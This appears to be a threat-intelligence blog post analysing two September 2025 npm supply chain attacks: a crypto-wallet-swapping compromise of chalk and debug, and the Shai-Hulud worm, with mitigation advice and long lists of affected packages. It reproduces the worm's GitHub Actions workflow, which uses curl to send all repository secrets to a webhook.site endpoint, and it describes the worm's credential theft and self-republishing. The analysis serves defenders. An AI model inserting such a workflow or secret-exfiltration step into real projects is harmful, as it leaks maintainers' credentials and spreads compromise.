NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack

A walkthrough of two major NPM supply chain compromises in September 2025: the Shai-Hulud worm and cryptocurrency wallet hijacking.

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack

In September 2025, multiple NPM packages were compromised. Some of the compromised packages were highly popular, with millions of downloads per week. Two different sets of compromises were observed:

  • The first compromise occurred around September 8th, 2025, when the packages were embedded with the ability to replace cryptocurrency wallets with adversary-controlled ones
  • The second compromise utilized the Shai-Hulud worm, which was employed to exfiltrate sensitive information from GitHub repositories. 
    • Initial reports about the Shai-Hulud worm emerged on September 15, 2025. GitGuardian observed activity related to this compromise from September 15 at 03:46 to September 16 at 13:42.

GitHub's Response: In response to the Shai-Hulud attack, GitHub removed over 500+ compromised packages from the npm registry. Additionally, npm blocked new packages that contained known indicators of compromise from being uploaded to the registry.

This blog will walk through both compromises and provide insights into the functionality of the malicious packages, as well as response recommendations. 

First Compromise: September 8th Campaign

The campaign was first reported on September 8th, 2025, and the list of compromised packages included chalk and debug. Both are very popular npm packages, each of which is downloaded over 250 million times a week. The packages were modified to include malicious code that was subsequently executed.

I have no access to my account at the moment. It's in npm's hands for now. Sindre has already booted me off and published over chalk. debug and color/color-string/color-convert are still affected, along with many others I'm sure. Email came from support [at] npmjs [dot] help.

Josh Junon (@bad-at-computer.bsky.social) 2025-09-08T15:27:43.639Z

Figure 1: Bluesky posts about maintainer about compromised npm packages. Source: Bluesky

Figure 2: Phishing email from npmjs[.]help email used for initial access. Source: Aikido

This attack began by compromising a maintainer’s account with a phishing email and using the account to modify the packages. The threat actor registered the domain npmjs[.]help on Porkbun on September 5th, 2025. 

Figure 3: Obfuscated code was added to the index.js file within version 0.3.3 of the is-arrayish npm package. Source: Aikido

A GitHub Gist contains the index.js file for the compromised version of the chalk npm package. The same code shown on line 12 of Figure 3 above is also present in the Gist.

Figure 4: Malicious code added to chalk’s index.js file. Source: GitHub Gist

The obfuscated code can be deobfuscated using tools such as deobfuscate.io. The first round of deobfuscation reveals code containing a list of cryptocurrency wallets, including Bitcoin, Bitcoin Cash, Litecoin, TRON, and Solana. While still heavily obfuscated, analysts can still review the code and understand its functionality.

Figure 5: Result of a single iteration of deobfuscation on code shown in Figure 4. Source: GitHub Gist

Various cryptocurrency wallets are hardcoded within the file, and there are references to different types of cryptocurrency. 

Figure 6: Cryptocurrency wallets hardcoded within the malicious file. Source: GitHub Gist
Figure 7: Code with string references to different cryptocurrencies. Source: GitHub Gist

The malicious code also contains RegEx to match different types of cryptocurrency wallets. The malware intercepts connections to cryptocurrency platforms and replaces the wallet in the request with one of the hardcoded wallets. This allows them to replace payment destinations for adversary-controlled ones, achieved by either injecting itself into functions such as fetch, XMLHttpRequest, or through wallet APIs.

Figure 8: Calls to a wallet API is used to get a list of accounts owned by the user. Source: GitHub Gist
Figure 9: RegEx used to identify cryptocurrency wallets. Source: GitHub Gist

Second Compromise: Shai-Hulud Attack

The Shai-Hulud compromise differed from the previous attack in that it didn’t target cryptocurrency transactions, but was instead used to exfiltrate secrets from GitHub repositories. Significantly more npm packages were compromised in this subsequent attack. GitGuardian observed activity related to this compromise from September 15 at 03:46 to September 16 at 13:42. The malware utilized the TruffleHog tool to locate and collect credentials and secrets. Any data that was collected was exfiltrated via GitHub actions to the webhook[.]site domain.

As part of the attack, GitHub workflows were used to convert private repositories to public ones. The repositories that were turned into public ones had the description “Shai-Hulud Migration”, and the term -migration" was added to the name. 

The malware also attempts to exfiltrate the following credentials:

  • GitHub personal access tokens
  • AWS access keys (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • Google Cloud Platform service credentials
  • Azure credentials
  • Cloud metadata endpoints
  • NPM authentication tokens
Figure 10: Example of a public GitHub repo compromised by Shai-Hulud

The malicious JavaScript file is available for analysis through Malware Bazaar.

MalwareBazaar | Checking your browser
VirusTotal
VirusTotal
Figure 11: Formatted code for readability

The malware has self-propagation functionality through the updatePackage function. This queries the NPM registry to download the packages owned by the maintainer. Once these are downloaded, the bundle.js file containing the malware is written to the package. Once this file has been written, the package is republished. 

Figure 12: Function used to get packages owned by a maintainer.
Figure 13: Once packages owned by a maintainer are downloaded, the malware writes the malicious file to them to propagate the worm.

Apart from updating other packages owned by the compromised maintainer, the malware downloads TruffleHog to collect secrets stored within the repo. The first step in running TruffleHog is to check the operating system architecture and type. From there, the latest version of TruggleHog is downloaded and installed. 

Figure 14: Code used to download the latest version of TruffleHog from GitHub.
Figure 15: Attempts to retrieve information from AWS.

Apart from collecting secrets and staging them for exfiltration, it creates a repo with the description “Shai-Hulud” as shown in Figure 16 below. 

Figure 16: Data that is collected for exfiltration and the call to the makeRepo function with the string "Shai-Hulud" being passed to it.

The data is exfiltrated using a GitHub workflow. The content of the workflow is hardcoded in the malicious file.

Figure 17: Code used to setup the GitHub workflow used for exfiltration.
on:
  push:
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}
Figure 18: The GitHub workflow as shown within a compromised GitHub repo.

Mitigation Recommendations

Responding to a supply chain compromise is always a challenging task, as pinpointing where packages are used or their versions may not always be easily verifiable. Nevertheless, a dependency review should be conducted for software that leverages npm. The yarn.lock or package-lock.json files may provide details about the packages in use. 

When responding to npm supply chain compromises, once compromised packages have been identified and removed, it is recommended to clear the npm cache before reinstalling the package. In addition to reinstalling packages, consider resetting secrets and user credentials that may have been exposed.  

GitHub’s Response

As of September 22, 2025, GitHub outlined a plan for securing the npm supply chain in response to these attacks. Included within this plan are the following actions:

  • MFA required for local publishing
    • Time-based OTPs will be deprecated
    • Users will be moved to FIDO-based MFA
    • Users will no longer be able to bypass MFA for local publishing
  • Granular Token lifetime is limited to seven days
    • Legacy tokens will be deprecated
  • Trusted Publishing
    • Reduces the need for long-term tokens or credentials to be shared with external sources when authenticating to package repositories
    • Allows a package repository to authenticate an identity from an Identity Provider using OpenID Connect (OIDC)
      • Requires a pre-configured trust policy

Compromise Packages

1st Compromise

Package Name

Version

backlash

0.2.1

chalk-template

1.1.1

supports-hyperlinks

4.1.1

has-ansi

6.0.1

simple-swizzle

0.2.3

color-string

2.1.1

error-ex

1.3.3

color-name

2.0.1

is-arrayish

0.3.3

slice-ansi

7.1.1

color-convert

3.1.1

wrap-ansi

9.0.1

ansi-regex

6.2.1

supports-color

10.2.1

strip-ansi

7.1.1

chalk

5.6.1

debug

4.4.2

ansi-styles

6.2.2

Shai-Hulud Compromise

Package Name

Version(s)

@ahmedhfarag/ngx-perfect-scrollbar

20.0.20

@ahmedhfarag/ngx-virtual-scroller

4.0.4

@art-ws/common

2.0.22, 2.0.28

@art-ws/config-eslint

2.0.4, 2.0.5

@art-ws/config-ts

2.0.7, 2.0.8

@art-ws/db-context

2.0.24

@art-ws/di

2.0.28, 2.0.32

@art-ws/di-node

2.0.13

@art-ws/eslint

1.0.5, 1.0.6

@art-ws/fastify-http-server

2.0.24, 2.0.27

@art-ws/http-server

2.0.21, 2.0.25

@art-ws/openapi

0.1.9, 0.1.12

@art-ws/package-base

1.0.5, 1.0.6

@art-ws/prettier

1.0.5, 1.0.6

@art-ws/slf

2.0.15, 2.0.22

@art-ws/ssl-info

1.0.9, 1.0.10

@art-ws/web-app

1.0.3, 1.0.4

@crowdstrike/commitlint

8.1.1, 8.1.2

@crowdstrike/falcon-shoelace

0.4.1, 0.4.2

@crowdstrike/foundry-js

0.19.1, 0.19.2

@crowdstrike/glide-core

0.34.2, 0.34.3

@crowdstrike/logscale-dashboard

1.205.1, 1.205.2

@crowdstrike/logscale-file-editor

1.205.1, 1.205.2

@crowdstrike/logscale-parser-edit

1.205.1, 1.205.2

@crowdstrike/logscale-search

1.205.1, 1.205.2

@crowdstrike/tailwind-toucan-base

5.0.1, 5.0.2

@ctrl/deluge

7.2.1, 7.2.2

@ctrl/golang-template

1.4.2, 1.4.3

@ctrl/magnet-link

4.0.3, 4.0.4

@ctrl/ngx-codemirror

7.0.1, 7.0.2

@ctrl/ngx-csv

6.0.1, 6.0.2

@ctrl/ngx-emoji-mart

9.2.1, 9.2.2

@ctrl/ngx-rightclick

4.0.1, 4.0.2

@ctrl/qbittorrent

9.7.1, 9.7.2

@ctrl/react-adsense

2.0.1, 2.0.2

@ctrl/shared-torrent

6.3.1, 6.3.2

@ctrl/tinycolor

4.1.1, 4.1.2

@ctrl/torrent-file

4.1.1, 4.1.2

@ctrl/transmission

7.3.1

@ctrl/ts-base32

4.0.1, 4.0.2

@hestjs/core

0.2.1

@hestjs/cqrs

0.1.6

@hestjs/demo

0.1.2

@hestjs/eslint-config

0.1.2

@hestjs/logger

0.1.6

@hestjs/scalar

0.1.7

@hestjs/validation

0.1.6

@nativescript-community/arraybuffers

1.1.6, 1.1.7, 1.1.8

@nativescript-community/gesturehandler

2.0.35

@nativescript-community/perms

3.0.5, 3.0.6, 3.0.7, 3.0.8

@nativescript-community/sentry

4.6.43

@nativescript-community/sqlite

3.5.2, 3.5.3, 3.5.4, 3.5.5

@nativescript-community/text

1.6.9, 1.6.10, 1.6.11, 1.6.12, 1.6.13

@nativescript-community/typeorm

0.2.30, 0.2.31, 0.2.32, 0.2.33

@nativescript-community/ui-collectionview

6.0.6

@nativescript-community/ui-document-picker

1.1.27, 1.1.28

@nativescript-community/ui-drawer

0.1.30

@nativescript-community/ui-image

4.5.6

@nativescript-community/ui-label

1.3.35, 1.3.36, 1.3.37

@nativescript-community/ui-material-bottom-navigation

7.2.72, 7.2.73, 7.2.74, 7.2.75

@nativescript-community/ui-material-bottomsheet

7.2.72

@nativescript-community/ui-material-core

7.2.72, 7.2.73, 7.2.74, 7.2.75, 7.2.76

@nativescript-community/ui-material-core-tabs

7.2.72, 7.2.73, 7.2.74, 7.2.75, 7.2.76

@nativescript-community/ui-material-ripple

7.2.72, 7.2.73, 7.2.74, 7.2.75

@nativescript-community/ui-material-tabs

7.2.72, 7.2.73, 7.2.74, 7.2.75

@nativescript-community/ui-pager

14.1.36, 14.1.37, 14.1.38

@nativescript-community/ui-pulltorefresh

2.5.4, 2.5.5, 2.5.6, 2.5.7

@nexe/config-manager

0.1.1

@nexe/eslint-config

0.1.1

@nexe/logger

0.1.3

@nstudio/angular

20.0.4, 20.0.5, 20.0.6

@nstudio/focus

20.0.4, 20.0.5, 20.0.6

@nstudio/nativescript-checkbox

2.0.6, 2.0.7, 2.0.8, 2.0.9

@nstudio/nativescript-loading-indicator

5.0.1, 5.0.2, 5.0.3, 5.0.4

@nstudio/ui-collectionview

5.1.11, 5.1.12, 5.1.13, 5.1.14

@nstudio/web

20.0.4

@nstudio/web-angular

20.0.4

@nstudio/xplat

20.0.5, 20.0.6, 20.0.7

@nstudio/xplat-utils

20.0.5, 20.0.6, 20.0.7

@operato/board

9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51

@operato/data-grist

9.0.29, 9.0.35, 9.0.36, 9.0.37

@operato/graphql

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46

@operato/headroom

9.0.2, 9.0.35, 9.0.36, 9.0.37

@operato/help

9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46

@operato/i18n

9.0.35, 9.0.36, 9.0.37

@operato/input

9.0.27, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48

@operato/layout

9.0.35, 9.0.36, 9.0.37

@operato/popup

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.49

@operato/pull-to-refresh

9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42

@operato/shell

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39

@operato/styles

9.0.2, 9.0.35, 9.0.36, 9.0.37

@operato/utils

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.49

@teselagen/bio-parsers

0.4.30

@teselagen/bounce-loader

0.3.16, 0.3.17

@teselagen/file-utils

0.3.22

@teselagen/liquibase-tools

0.4.1

@teselagen/ove

0.7.40

@teselagen/range-utils

0.3.14, 0.3.15

@teselagen/react-list

0.8.19, 0.8.20

@teselagen/react-table

6.10.19, 6.10.20, 6.10.22

@teselagen/sequence-utils

0.3.34

@teselagen/ui

0.9.10

@thangved/callback-window

1.1.4

@things-factory/attachment-base

9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50

@things-factory/auth-base

9.0.43, 9.0.44, 9.0.45

@things-factory/email-base

9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51, 9.0.52, 9.0.53, 9.0.54

@things-factory/env

9.0.42, 9.0.43, 9.0.44, 9.0.45

@things-factory/integration-base

9.0.43, 9.0.44, 9.0.45

@things-factory/integration-marketplace

9.0.43, 9.0.44, 9.0.45

@things-factory/shell

9.0.43, 9.0.44, 9.0.45

@tnf-dev/api

1.0.8

@tnf-dev/core

1.0.8

@tnf-dev/js

1.0.8

@tnf-dev/mui

1.0.8

@tnf-dev/react

1.0.8

@ui-ux-gang/devextreme-angular-rpk

24.1.7

@yoobic/design-system

6.5.17

@yoobic/jpeg-camera-es6

1.0.13

@yoobic/yobi

8.7.53

airchief

0.3.1

airpilot

0.8.8

angulartics2

14.1.1, 14.1.2

browser-webdriver-downloader

3.0.8

capacitor-notificationhandler

0.0.2, 0.0.3

capacitor-plugin-healthapp

0.0.2, 0.0.3

capacitor-plugin-ihealth

1.1.8, 1.1.9

capacitor-plugin-vonage

1.0.2, 1.0.3

capacitorandroidpermissions

0.0.4, 0.0.5

config-cordova

0.8.5

cordova-plugin-voxeet2

1.0.24

cordova-voxeet

1.0.32

create-hest-app

0.1.9

db-evo

1.1.4, 1.1.5

devextreme-angular-rpk

21.2.8

ember-browser-services

5.0.2, 5.0.3

ember-headless-form

1.1.2, 1.1.3

ember-headless-form-yup

1.0.1

ember-headless-table

2.1.5, 2.1.6

ember-url-hash-polyfill

1.0.12, 1.0.13

ember-velcro

2.2.1, 2.2.2

encounter-playground

0.0.2, 0.0.3, 0.0.4, 0.0.5

eslint-config-crowdstrike

11.0.2, 11.0.3

eslint-config-crowdstrike-node

4.0.3, 4.0.4

eslint-config-teselagen

6.1.7, 6.1.8

globalize-rpk

1.7.4

graphql-sequelize-teselagen

5.3.8, 5.3.9

html-to-base64-image

1.0.2

json-rules-engine-simplified

0.2.1, 0.2.4

jumpgate

0.0.2

koa2-swagger-ui

5.11.1, 5.11.2

mcfly-semantic-release

1.3.1

mcp-knowledge-base

0.0.2

mcp-knowledge-graph

1.2.1

mobioffice-cli

1.0.3

monorepo-next

13.0.1, 13.0.2

mstate-angular

0.4.4

mstate-cli

0.4.7

mstate-dev-react

1.1.1

mstate-react

1.6.5

ng2-file-upload

7.0.2, 7.0.3, 8.0.1, 8.0.2, 8.0.3, 9.0.1

ngx-bootstrap

18.1.4, 19.0.3, 19.0.4, 20.0.3, 20.0.4, 20.0.5

ngx-color

10.0.1, 10.0.2

ngx-toastr

19.0.1, 19.0.2

ngx-trend

8.0.1

ngx-ws

1.1.5, 1.1.6

oradm-to-gql

35.0.14, 35.0.15

oradm-to-sqlz

1.1.2, 1.1.5

ove-auto-annotate

0.0.9, 0.0.10

pm2-gelf-json

1.0.4, 1.0.5

printjs-rpk

1.6.1

react-complaint-image

0.0.32, 0.0.35

react-jsonschema-form-conditionals

0.3.18, 0.3.21

react-jsonschema-form-extras

1.0.4

react-jsonschema-rxnt-extras

0.4.9

remark-preset-lint-crowdstrike

4.0.1, 4.0.2

rxnt-authentication

0.0.3, 0.0.4, 0.0.5, 0.0.6

rxnt-healthchecks-nestjs

1.0.2, 1.0.3, 1.0.4, 1.0.5

rxnt-kue

1.0.4, 1.0.5, 1.0.6, 1.0.7

swc-plugin-component-annotate

1.9.1, 1.9.2

tbssnch

1.0.2

teselagen-interval-tree

1.1.2

tg-client-query-builder

2.14.4, 2.14.5

tg-redbird

1.3.1, 1.3.2

tg-seq-gen

1.0.9, 1.0.10

thangved-react-grid

1.0.3

ts-gaussian

3.0.5, 3.0.6

ts-imports

1.0.1, 1.0.2

tvi-cli

0.1.5

ve-bamreader

0.2.6, 0.2.7

ve-editor

1.0.1, 1.0.2

verror-extra

6.0.1

voip-callkit

1.0.2, 1.0.3

wdio-web-reporter

0.1.3

yargs-help-output

5.0.3

yoo-styles

6.0.326

References